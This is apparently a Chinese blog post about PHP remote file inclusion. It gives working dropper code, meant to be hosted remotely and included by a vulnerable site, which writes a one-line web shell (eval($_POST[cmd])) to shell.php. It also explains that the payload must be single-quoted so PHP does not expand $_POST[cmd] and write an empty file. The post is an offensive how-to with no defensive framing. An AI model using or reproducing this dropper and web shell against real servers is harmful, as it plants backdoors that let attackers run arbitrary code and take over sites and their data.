远程包含shell时,上传shell时所遇到一句话木马不能上传问题解决的办法(这里为单引号与双引号问题)

远程包含shell
需要allow_url_open=On,才可以尝试远程包含一句话木马:

http://www.xxx.com/echo.txt, 代码如下。

<?php
fputs (fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>')
?>

或者

<?php
$b='<?php eval($_POST[cmd]);?>';
$a=fopen('shell.php','w');
fputs($a,$b);
fclose($a);
?>

其中出现了报错,实际是因为一开始的代码是这样的。归根结底是单引号和双引号的问题

<?php
fputs (fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>")
?>

双引号里面的字段会经过编译器解释,然后再当作HTML代码输出。 单引号里面的不进行解释,直接输出。 通俗点来说就是双引号里的变量会执行,单引号里的不会执行,相当于字符串 如果把一句话木马用双引号包起来,那么执行php代码的时候,他会执行$_POST[cmd],又因为没有POST没有接收到值所以变空。
在这里插入图片描述
如果变为单引号,执行php代码时则为:
在这里插入图片描述

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1stPeak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值